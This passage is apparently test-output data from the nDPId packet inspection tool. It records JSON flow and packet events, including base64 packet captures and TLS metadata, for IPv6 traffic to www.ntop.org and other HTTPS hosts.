+00470{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":771153,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACgROCoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbuzawAooi0ABDeGFev8UCGQ1qamNBuSNlKzV+\/y5VpA2YmHTra3Jw=="} +00480{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":772050,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAADARQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXs2sBuwAwFZEMSb7i0\/DtzNYGUIuDi46XnUgClmr6a8ymXOCiaN0Qz5lUseBqK5hP"} +01135{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":772665,"pkt_caplen":581,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":581,"pkt_l4_len":527,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAAg8ROCoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbuzawIPK8MABegNpVD\/7\/JYzlk\/BYlFgZIFfHfw1bXDQPU6CVEq6Zu\/BN0YX9q8KdtjKz2kPswP0T\/MG7ZhdaSfLUFJ\/NAYhY0mRcMGmmQmzmHRbHbwhWps05f8n34Tn1sNM6rta9iduCVINYTfizjYboc2gBDUNrR1ydHxyATtR5OcnwZXWufFWI6Gpbt3UnrADrDmQFUA4LLUXdcHbpuaa4prYi0tyxFayQabspYn\/ZywEYFFUpeYQKZYTE3+DvxTvMRhoUnXr5KYUUm8NE47p7y6iMh10tXVxlCG0fUT56wBvqGjwp82AXSLgEBqdD4s9IbTq968YdwVm3+fqkZzoUy6vJLLKtOhwhmb3r2un4HNlyBhDC9okkeHVeoP6rRTVH2H2mFRFML6lvQ2z4xnVsAp91cbQFqZA193cC0uG1pmYmTO7yDRVqkQpn\/lDbc7KneAGzV8DlalkwbPwa7nWCswi0D\/QFCqWuRXDw3AnvmOK0AmMJDBj0SbmaI6I8hQNDshiJP0u3hnk2fPONfuO+0LgMdPuNSQdHyHX2\/HtUa2P61qhIgmdqHF1Kg258fqOSj7c3+IXv7KZqzcqZkZaeW9P3fi\/UZBrlLPztduZdIVHnA57DmtVGMZk3\/VAShaEcfqkJoxfeEYE\/nlQsTB7gHtRv7AGgXEh3Ma0W7mjss\/NWZlpszmpfpl3pY="} +00480{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":798722,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAADARQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXs2sBuwAwFZEMSb7i0\/DtzNYHRDHMJE6JwbqCwTUm1pgKamJUbxHMwtRxH0S17Bee"} +00467{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":818509,"pkt_caplen":91,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":91,"pkt_l4_len":37,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACUROCoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbuzawAlJwsABu4AWQBJc6S\/ABpFwRqNbmpSh1W8j6OzpFWJyQ=="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":30,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1448269127922,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a00:1450:4006:803::2008","src_port":58660,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":922059,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqABRQQAYIAwAAAAAAACAI5SQBuwROHG\/ILPHEgBACniVsAAABAQgKEg1swGh+tvU="} +00457{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":940031,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGOSoAFFBABggDAAAAAAAAIAgqAA1AAAEAA3qswP\/+pw1MAbvlJMgs8cQEThxwgBAA+ZiqAAABAQgKaH9m+RINFL8="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":32,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1448269127960,"flow_last_seen":0,"flow_tot_l4_data_len":206,"flow_min_l4_data_len":206,"flow_max_l4_data_len":206,"flow_avg_l4_data_len":206,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a00:1450:400b:c02::5f","src_port":55145,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00696{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":960079,"pkt_caplen":260,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":260,"pkt_l4_len":206,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAM4RQCoADUAAAQADeqzA\/\/6nDUwqABRQQAsMAgAAAAAAAABf12kBuwDOCoAMj5N114hr41MJBd7sKG9JfODv2KzX0uexKi4OUzkr936AyksmjfKzejWhR1IllABVz6\/Nd8+DDPRvVbNJa4sAljMB\/byd9EnDrnASdvNnincHpyqVPP90d4TSxj+ARZa\/L622T2LNfPxOM6m\/si1ZmPjMCf2wR7DzkfTBciJe2oZugnMhbWbTFVoln8LtSZhpET4oRj3Jk\/IY0Vhm0AHAVNXjHBEt89UVS7Gr6h9OBH5HRJ1TIdTk4GJ40SQl9lgo1l4eCx0="} +00535{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269128,"pkt_ts_usec":3411,"pkt_caplen":143,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":143,"pkt_l4_len":89,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAAFkRMyoAFFBACwwCAAAAAAAAAF8qAA1AAAEAA3qswP\/+pw1MAbvXaQBZLuIAB1nnejc74Zg5YssedTReRP0KRIf1hcs3Aafoe+Tuwy6JT\/77UOdg9PcT9s8XDyyGEBG\/Mph8KZAg9aAfxnp6BrSLMfMbzThg3fGY8Pw0dHA="} +00471{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269128,"pkt_ts_usec":28795,"pkt_caplen":99,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":99,"pkt_l4_len":45,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAC0RQCoADUAAAQADeqzA\/\/6nDUwqABRQQAsMAgAAAAAAAABf12kBuwAtCd8Mj5N114hr41MKZOnBWgR9A+MJ4bypcpF9U29vj07q+fvNp9EO"} +00693{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269129,"pkt_ts_usec":551204,"pkt_caplen":257,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":257,"pkt_l4_len":203,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAMsRQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXs2sBuwDLFiwMSb7i0\/DtzNYIgWvfZMMzgV0eLq0rcF8Wjfdc88El\/OKe3m4b7L9HS+mMBEYrS+doCavo0g9v4cjNuvKk8Lt9jqbVMq4hpZuUInyA\/FDGcB9PdVXM1PG9Twc53K\/NE22oYsP600rWQqAeBHFPUIlrjHB7GsGewzsm\/LoNAyfg92ccCbiDQGEU7VnL8MvE74giVX7LYq16CD0sRU278L4kXMTwks9YhQkTkzvxemT+Ky6GjVXsflRJFFvd1vRUrGaTm7w="} +00473{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269129,"pkt_ts_usec":597234,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACgROCoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbuzawAoTL8AB+q\/vPhS\/ZnAgyOaUqmaLKPlvPx\/8rQ+trou59iqhw=="} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":84,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1448269138575,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37486,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":575377,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACgGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkm4Bu5jVbXIAAAAAoAJwgGsaAAACBAWgBAIIChINdycAAAAAAQMDBw=="} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":85,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1448269138575,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37488,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":575474,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACgGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknABu7DxnU0AAAAAoAJwgGsaAAACBAWgBAIIChINdycAAAAAAQMDBw=="} +00469{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":600012,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACgGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSbiqmXmyY1W1zoBJvkBOIAAACBAWgBAIICgBerOcSDXcnAQMDCA=="} +00456{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":600069,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkm4Bu5jVbXMqpl5tgBAA4WsSAAABAQgKEg13LQBerOc="} +00469{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":600079,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACgGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuScEOqziew8Z1OoBJvkELPAAACBAWgBAIICgBerOcSDXcnAQMDCA=="} +00456{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":600097,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknABu7DxnU5Dqs4ogBAA4WsSAAABAQgKEg13LQBerOc="} +00745{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":600311,"pkt_caplen":298,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":298,"pkt_l4_len":244,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAPQGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkm4Bu5jVbXMqpl5tgBgA4WvmAAABAQgKEg13LQBerOcWAwEAzwEAAMsDA3KnuJVYkfUxfYZivfoDxsSlMXT0r7J\/8CEfMp57IxYdAAAgzBTME8wVwCvALwCewArAFAA5wAnAEwAzAJwANQAvAAoBAACC\/wEAAQAAAAARAA8AAAx3d3cubnRvcC5vcmcAFwAAACMAAAANABYAFAYBBgMFAQUDBAEEAwMBAwMCAQIDAAUABQEAAAAAM3QAAAASAAAAEAAdABsIaHR0cC8xLjEIc3BkeS8zLjEFaDItMTQCaDJ1UAAAAAsAAgEAAAoABgAEABcAGA=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":90,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1448269138575,"flow_last_seen":1448269138600,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37486,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1,spdy\/3.1,h2-14,h2"}} +00745{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":600449,"pkt_caplen":298,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":298,"pkt_l4_len":244,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAPQGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknABu7DxnU5Dqs4ogBgA4WvmAAABAQgKEg13LQBerOcWAwEAzwEAAMsDA6vh\/5Bm8Zaj64wlmhNi+L0mv17cXjOZyxYSV5DW8g55AAAgzBTME8wVwCvALwCewArAFAA5wAnAEwAzAJwANQAvAAoBAACC\/wEAAQAAAAARAA8AAAx3d3cubnRvcC5vcmcAFwAAACMAAAANABYAFAYBBgMFAQUDBAEEAwMBAwMCAQIDAAUABQEAAAAAM3QAAAASAAAAEAAdABsIaHR0cC8xLjEIc3BkeS8zLjEFaDItMTQCaDJ1UAAAAAsAAgEAAAoABgAEABcAGA=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":91,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1448269138575,"flow_last_seen":1448269138600,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37488,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1,spdy\/3.1,h2-14,h2"}} +00457{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":625594,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSbiqmXm2Y1W5HgBAAdLB9AAABAQgKAF6s7RINdy0="} +00458{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":625652,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuScEOqziiw8Z4igBAAdN\/EAAABAQgKAF6s7RINdy0="} +02382{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":627411,"pkt_caplen":1514,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1514,"pkt_l4_len":1460,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAABbQGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuScEOqziiw8Z4igBAAdLr0AAABAQgKAF6s7hINdy0VAwMAAgFwFgMDAEECAAA9AwPbHrwc7Zlupy05Lmaoc8pOPmXnptE8luGpRyrXQPj6zQDALwAAFQAAAAD\/AQABAAALAAQDAAECACMAABYDAxDjCwAQ3wAQ3AAFTzCCBUswggQzoAMCAQICEGlwh8ZXzEdaqUNvI9+NN8MwDQYJKoZIhvcNAQELBQAwgZAxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTYwNAYDVQQDEy1DT01PRE8gUlNBIERvbWFpbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMTUxMTE1MDAwMDAwWhcNMTgxMTE0MjM1OTU5WjBRMSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxFDASBgNVBAsTC1Bvc2l0aXZlU1NMMRYwFAYDVQQDEw1zaG9wLm50b3Aub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzR6BIHt+rHaCaBL\/qKK36Y6zgLZa7uQ42uYff0TmO+nrjezjVzokWSc+b7XT8xiQLH5AkqJ9Lf\/\/NeqkB1fm7\/K3k27TQzmGn0gZ\/gjZ0up1RGHlcWqkmBgu1hm4kF0hAptThu\/QQTHz6OE2C2JERem\/TCFrM+LeqAlRcK\/9iYu2odCWrMkYWJu1Zur8eL0LtVyxc3kqCMWwu7at46P1qNP8vTbSQDxFLJTvozfhfIr+zQT412txGL1UCyQye5MRn5Abou0RkIjFXoM+zdLQQC3yVy\/Jd1s9wnLEcoBoeKxiqK5BJxLO\/3yH8uWwyg8YUFbd5+1cgJHdZ69cFgM4ZwIDAQABo4IB3TCCAdkwHwYDVR0jBBgwFoAUkK9qOpRaC9iQ6hJWc99DtDoo2ucwHQYDVR0OBBYEFJAVUwm3FdB8i+jm6lJjVmDmcoYFMA4GA1UdDwEB\/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBPBgNVHSAESDBGMDoGCysGAQQBsjEBAgIHMCswKQYIKwYBBQUHAgEWHWh0dHBzOi8vc2VjdXJlLmNvbW9kby5jb20vQ1BTMAgGBmeBDAECATBUBgNVHR8ETTBLMEmgR6BFhkNodHRwOi8vY3JsLmNvbW9kb2NhLmNvbS9DT01PRE9SU0FEb21haW5WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EuY3JsMIGFBggrBgEFBQcBAQR5MHcwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmNvbW9kb2NhLmNvbTArBgNVHREEJDAigg1zaG9wLm50b3Aub3JnghF3d3cuc2hvcC5udG9wLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEABHga0CoUddKc8gTKl8pscY7onSvxASeGg6n14z8FhR2xLi3sQM93tAHGjfXnqbvor3abNIZbNbF0KzRdqJu4Pf8lRVflEivDChvy3JGmTgemN9zWuDPZ57rHKIP2WX88hJ\/PhjhgpWwDlVARS9gLCvB+ao\/MqFUPnRHIB\/ozv+GFroJaou2ptXCVpGzEcU5eeKmEk7EDV1FIeaLukxlf2pdWAhu92nfkdMVk7CEaYe2jnnRpGgH3FSI7e35KuJ6qcNoKFw3CRdQMfoBimHtdql+6OuUlCrOYGYcfLlT2dHNLRy5B10L6oRI="} +00822{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":94,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":6,"flow_first_seen":1448269138575,"flow_last_seen":1448269138627,"flow_tot_l4_data_len":1848,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37488,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"389ed42c02ebecc32e73aa31def07e14","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1,spdy\/3.1,h2-14,h2"}} +00456{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":627454,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknABu7DxniJDqtO8gBAA+GsSAAABAQgKEg13NABerO4="} +04042{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":627512,"pkt_caplen":2754,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":2754,"pkt_l4_len":2700,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAACowGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuScEOq07yw8Z4igBgAdHV+AAABAQgKAF6s7hINdy0a7lRZZvgTMcu9Q3ViDTlQU1VpfPinQgAGDDCCBggwggPwoAMCAQICECsuburZdTZsFIpu26N8jAcwDQYJKoZIhvcNAQEMBQAwgYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYDVQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTE0MDIxMjAwMDAwMFoXDTI5MDIxMTIzNTk1OVowgZAxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTYwNAYDVQQDEy1DT01PRE8gUlNBIERvbWFpbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCOwgIZ4aBZpOs4NY0s\/QHQ00nAZMcLYgVFFjqooMAMAn8dzNvEoW13A6MPhvnjBpw+C4GKm0kbrQO++kvbjCDt1c5eZY4+Da9MwrC3RV5SLzTeSCRktEGuAJf3vmfentB6p1OAO3yt9ZZVb5dHCnyFiyKXjbOE4JZX0HAYYJaP7i0Hk52husrRzXvpxCqaKCGRTW+STyWl8no13SbcRqXQrFk1jP9OkUNQP1mTHmxRIe5YFKv+dVB4PkywHIYT+muYvOA7lB6FUtwDkyQYbssnUUXmcN4lQ6QN4Uql7bZ+yM1t7i4dJ3Nd3EUwgKrjskELr71Eh9q